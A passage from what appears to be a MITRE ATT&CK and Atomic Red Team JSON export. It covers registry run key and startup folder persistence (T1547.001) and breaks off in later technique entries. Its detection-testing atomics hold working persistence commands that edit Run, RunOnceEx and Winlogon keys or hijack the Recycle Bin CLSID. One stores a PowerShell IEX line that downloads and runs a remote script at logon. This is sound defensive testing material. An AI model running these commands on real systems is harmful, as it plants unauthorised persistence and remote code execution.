- "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp
.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce
\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce
\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx
is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\"
(Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders
\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders
\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders
\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders
\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce
\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce
\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices
\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices
\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run
\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run
\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit
and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell
subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows
run when any user logs on.\n\nBy default, the multistring BootExecute
value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager
is set to autocheck autochk *
. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
- "modified": "2022-05-12T21:44:30.466Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder",
- "x_mitre_detection": "Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification",
- "File: File Modification",
- "Windows Registry: Windows Registry Key Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1547.001"
- },
- "atomic_tests": [
- {
- "name": "Reg Key Run",
- "auto_generated_guid": "e55be3fd-3521-4610-9d1a-e210e42dcf05",
- "description": "Run Key Persistence\n\nUpon successful execution, cmd.exe will modify the registry by adding \\\"Atomic Red Team\\\" to the Run key. Output will be via stdout. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command_to_execute": {
- "description": "Thing to Run",
- "type": "path",
- "default": "C:\\Path\\AtomicRedTeam.exe"
- }
- },
- "executor": {
- "command": "REG ADD \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"Atomic Red Team\" /t REG_SZ /F /D \"#{command_to_execute}\"\n",
- "cleanup_command": "REG DELETE \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"Atomic Red Team\" /f >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Reg Key RunOnce",
- "auto_generated_guid": "554cbd88-cde1-4b56-8168-0be552eed9eb",
- "description": "RunOnce Key Persistence.\n\nUpon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will be via stdout. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "thing_to_execute": {
- "description": "Thing to Run",
- "type": "path",
- "default": "C:\\Path\\AtomicRedTeam.dll"
- }
- },
- "executor": {
- "command": "REG ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"#{thing_to_execute}\"\n",
- "cleanup_command": "REG DELETE HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "PowerShell Registry RunOnce",
- "auto_generated_guid": "eb44f842-0457-4ddc-9b92-c4caa144ac42",
- "description": "RunOnce Key Persistence via PowerShell\nUpon successful execution, a new entry will be added to the runonce item in the registry.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "thing_to_execute": {
- "description": "Thing to Run",
- "type": "path",
- "default": "powershell.exe"
- },
- "reg_key_path": {
- "description": "Path to registry key to update",
- "type": "path",
- "default": "HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce"
- }
- },
- "executor": {
- "command": "$RunOnceKey = \"#{reg_key_path}\"\nset-itemproperty $RunOnceKey \"NextRun\" '#{thing_to_execute} \"IEX (New-Object Net.WebClient).DownloadString(`\"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`\")\"'\n",
- "cleanup_command": "Remove-ItemProperty -Path #{reg_key_path} -Name \"NextRun\" -Force -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Suspicious vbs file run from startup Folder",
- "auto_generated_guid": "2cb98256-625e-4da9-9d44-f2e5f90b8bd5",
- "description": "vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, \"T1547.001 Hello, World VBS!\" will be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Copy-Item $PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"\ncscript.exe \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\ncscript.exe \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"\n",
- "cleanup_command": "Remove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\" -ErrorAction Ignore\nRemove-Item \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\" -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Suspicious jse file run from startup Folder",
- "auto_generated_guid": "dade9447-791e-4c8f-b04b-3a35855dfa06",
- "description": "jse files can be placed in and ran from the startup folder to maintain persistance.\nUpon execution, \"T1547.001 Hello, World JSE!\" will be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Copy-Item $PathToAtomicsFolder\\T1547.001\\src\\jsestartup.jse \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\"\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\jsestartup.jse \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\"\ncscript.exe /E:Jscript \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\"\ncscript.exe /E:Jscript \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\"\n",
- "cleanup_command": "Remove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\" -ErrorAction Ignore\nRemove-Item \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\" -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Suspicious bat file run from startup Folder",
- "auto_generated_guid": "5b6768e4-44d2-44f0-89da-a01d1430fd5e",
- "description": "bat files can be placed in and executed from the startup folder to maintain persistance\n\nUpon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Copy-Item $PathToAtomicsFolder\\T1547.001\\src\\batstartup.bat \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\"\nCopy-Item $PathToAtomicsFolder\\T1547.001\\src\\batstartup.bat \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\"\nStart-Process \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\"\nStart-Process \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\"\n",
- "cleanup_command": "Remove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\batstartup.bat\" -ErrorAction Ignore\nRemove-Item \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\batstartup.bat\" -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Add Executable Shortcut Link to User Startup Folder",
- "auto_generated_guid": "24e55612-85f6-4bd6-ae74-a73d02e3441d",
- "description": "Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists. ",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$Target = \"C:\\Windows\\System32\\calc.exe\"\n$ShortcutLocation = \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\"\n$WScriptShell = New-Object -ComObject WScript.Shell\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\n$Create.TargetPath = $Target\n$Create.Save() ",
- "cleanup_command": "Remove-Item \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\" -ErrorAction Ignore",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Add persistance via Recycle bin",
- "auto_generated_guid": "bda6a3d6-7aa7-4e89-908b-306772e9662f",
- "description": "Add a persistance via Recycle bin [vxunderground](https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf)\nUser have to clic on the recycle bin to lauch the payload (here calc)\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg ADD \"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell\\open\\command\" /ve /d \"calc.exe\" /f",
- "cleanup_command": "reg DELETE \"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell\\open\" /f",
- "name": "command_prompt"
- }
- },
- {
- "name": "SystemBC Malware-as-a-Service Registry",
- "auto_generated_guid": "9dc7767b-30c1-4cc4-b999-50cab5e27891",
- "description": "This Atomic will create a registry key called socks5_powershell for persistance access\nhttps://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "reg_key_value": {
- "description": "Thing to Run",
- "type": "path",
- "default": "powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File"
- },
- "reg_key_path": {
- "description": "Path to registry key to update",
- "type": "path",
- "default": "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
- }
- },
- "executor": {
- "command": "$RunKey = \"#{reg_key_path}\"\nSet-ItemProperty -Path $RunKey -Name \"socks5_powershell\" -Value \"#{reg_key_value}\"\n",
- "cleanup_command": "Remove-ItemProperty -Path #{reg_key_path} -Name \"socks5_powershell\" -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value",
- "auto_generated_guid": "acfef903-7662-447e-a391-9c91c2f00f7b",
- "description": "This test will modify the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders -V \"Common Startup\" \nvalue to point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "new_startup_folder": {
- "description": "new startup folder to replace standard one",
- "type": "string",
- "default": "$env:TMP\\atomictest\\"
- },
- "payload": {
- "description": "executable to be placed in new startup location ",
- "type": "string",
- "default": "C:\\Windows\\System32\\calc.exe"
- }
- },
- "executor": {
- "command": "New-Item -ItemType Directory -path \"#{new_startup_folder}\"\nCopy-Item -path \"#{payload}\" -destination \"#{new_startup_folder}\"\nSet-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Common Startup\" -Value \"#{new_startup_folder}\"\n",
- "cleanup_command": "Set-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Common Startup\" -Value \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nRemove-Item \"#{new_startup_folder}\" -Recurse -Force\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Change Startup Folder - HKCU Modify User Shell Folders Startup Value",
- "auto_generated_guid": "8834b65a-f808-4ece-ad7e-2acdf647aafa",
- "description": "This test will modify the HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders -V \"Startup\" value \nto point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "new_startup_folder": {
- "description": "new startup folder to replace standard one",
- "type": "string",
- "default": "$env:TMP\\atomictest\\"
- },
- "payload": {
- "description": "executable to be placed in new startup location ",
- "type": "string",
- "default": "C:\\Windows\\System32\\calc.exe"
- }
- },
- "executor": {
- "command": "New-Item -ItemType Directory -path \"#{new_startup_folder}\"\nCopy-Item -path \"#{payload}\" -destination \"#{new_startup_folder}\"\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Startup\" -Value \"#{new_startup_folder}\"\n",
- "cleanup_command": "Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Startup\" -Value \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nRemove-Item \"#{new_startup_folder}\" -Recurse -Force\n",
- "name": "powershell"
- }
- },
- {
- "name": "HKCU - Policy Settings Explorer Run Key",
- "auto_generated_guid": "a70faea1-e206-4f6f-8d9a-67379be8f6f1",
- "description": "This test will create a new value under HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run to launch calc.exe on boot. \n*Requires reboot\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "target_key_value_name": {
- "description": "registry value to crate on target key",
- "type": "string",
- "default": "atomictest"
- },
- "payload": {
- "description": "payload to execute",
- "type": "string",
- "default": "C:\\Windows\\System32\\calc.exe"
- }
- },
- "executor": {
- "command": "if (!(Test-Path -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\")){\n New-Item -ItemType Key -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\n}\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\" -Value \"#{payload}\"\n",
- "cleanup_command": "Remove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\"",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "HKLM - Policy Settings Explorer Run Key",
- "auto_generated_guid": "b5c9a9bc-dda3-4ea0-b16a-add8e81ab75f",
- "description": "This test will create a HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run key value to launch calc.exe on boot. \n*Requires reboot\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "target_key_value_name": {
- "description": "registry value to crate on target key",
- "type": "string",
- "default": "atomictest"
- },
- "payload": {
- "description": "payload to execute",
- "type": "string",
- "default": "C:\\Windows\\System32\\calc.exe"
- }
- },
- "executor": {
- "command": "if (!(Test-Path -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\")){\n New-Item -ItemType Key -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\n}\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\" -Value \"#{payload}\"\n",
- "cleanup_command": "Remove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\"",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "HKLM - Append Command to Winlogon Userinit KEY Value",
- "auto_generated_guid": "f7fab6cc-8ece-4ca7-a0f1-30a22fccd374",
- "description": "This test will append a command to the HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit value to launch calc.exe on boot.\n* Requires reboot\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "payload": {
- "description": "what to run",
- "type": "string",
- "default": "C:\\Windows\\System32\\calc.exe"
- }
- },
- "executor": {
- "command": "$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Userinit\");\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Userinit-backup\" -Value \"$oldvalue\";\n$newvalue = $oldvalue + \" #{payload}\";\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Userinit\" -Value \"$newvalue\"\n",
- "cleanup_command": "$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Userinit-backup');\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Userinit\" -Value \"$oldvalue\";\nRemove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Userinit-backup'",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "HKLM - Modify default System Shell - Winlogon Shell KEY Value ",
- "auto_generated_guid": "1d958c61-09c6-4d9e-b26b-4130314e520e",
- "description": "This test change the default value of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell from \"explorer.exe\" to the full path of \"C:\\Windows\\explorer.exe\" \nto log a change to the key's default value without breaking boot sequence. \nAn atacker will alternatively replace this with a custom shell. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "payload": {
- "description": "what to run",
- "type": "string",
- "default": "C:\\Windows\\explorer.exe"
- }
- },
- "executor": {
- "command": "$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell\");\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell-backup\" -Value \"$oldvalue\";\n$newvalue = $oldvalue + \", #{payload}\";\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell\" -Value \"$newvalue\"\n",
- "cleanup_command": "$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Shell-backup');\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell\" -Value \"$oldvalue\";\nRemove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Shell-backup'",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "secedit used to create a Run key in the HKLM Hive",
- "auto_generated_guid": "14fdc3f1-6fc3-4556-8d36-aa89d9d42d02",
- "description": "secedit allows to manipulate the HKLM hive of the Windows registry. This test creates a Run key with the keyname calc having calc.exe as the value in the HKLM hive.\n[Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "ini_file": {
- "description": "INI config template",
- "type": "string",
- "default": "$PathToAtomicsFolder\\T1547.001\\src\\regtemplate.ini"
- },
- "secedit_db": {
- "description": "Custom secedit db",
- "type": "string",
- "default": "mytemplate.db"
- }
- },
- "executor": {
- "command": "secedit /import /db #{secedit_db} /cfg #{ini_file}\nsecedit /configure /db #{secedit_db}\n",
- "cleanup_command": "REG DELETE \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"calc\" /f >nul 2>&1",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1136.003": {
- "technique": {
- "x_mitre_platforms": [
- "Azure AD",
- "Office 365",
- "IaaS",
- "Google Workspace",
- "SaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian",
- "Microsoft Threat Intelligence Center (MSTIC)"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b",
- "created": "2020-01-29T17:32:30.711Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1136.003",
- "url": "https://attack.mitre.org/techniques/T1136/003"
- },
- {
- "source_name": "Microsoft O365 Admin Roles",
- "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide",
- "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019."
- },
- {
- "source_name": "AWS Create IAM User",
- "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html",
- "description": "AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020."
- },
- {
- "source_name": "GCP Create Cloud Identity Users",
- "url": "https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554",
- "description": "Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020."
- },
- {
- "source_name": "Microsoft Azure AD Users",
- "url": "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory",
- "description": "Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020."
- },
- {
- "source_name": "Microsoft Support O365 Add Another Admin, October 2019",
- "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d",
- "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.",
- "modified": "2022-04-07T13:09:30.819Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Create Account: Cloud Account",
- "x_mitre_detection": "Collect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "User Account: User Account Creation"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1136.003"
- },
- "atomic_tests": []
- },
- "T1098": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace",
- "SaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)",
- "Praetorian",
- "Tim MalcomVetter",
- "Wojciech Lesicki"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
- "created": "2017-05-31T21:31:12.196Z",
- "x_mitre_version": "2.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1098",
- "url": "https://attack.mitre.org/techniques/T1098"
- },
- {
- "source_name": "Microsoft Security Event 4670",
- "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670",
- "description": "Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019."
- },
- {
- "source_name": "Microsoft User Modified Event",
- "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738",
- "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017."
- },
- {
- "source_name": "InsiderThreat ChangeNTLM July 2017",
